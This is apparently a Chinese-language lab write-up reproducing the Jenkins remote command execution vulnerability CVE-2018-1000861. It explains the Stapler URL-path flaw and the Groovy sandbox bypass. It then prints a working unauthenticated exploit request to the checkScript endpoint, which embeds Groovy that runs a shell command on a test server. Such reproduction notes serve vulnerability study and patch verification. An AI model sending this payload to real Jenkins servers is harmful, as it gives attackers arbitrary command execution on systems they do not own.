Jenkins远程命令执行漏洞(CVE-2018-1000861)

Jenkins远程命令执行漏洞(CVE-2018-1000861)

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

参考链接:

漏洞复现

环境启动后,访问http://192.168.44.132:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

1
2
3
4
5
6
7
http://192.168.44.132:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}

image-20210823180547451

/tmp/success已成功创建:

image-20210823180601259

0%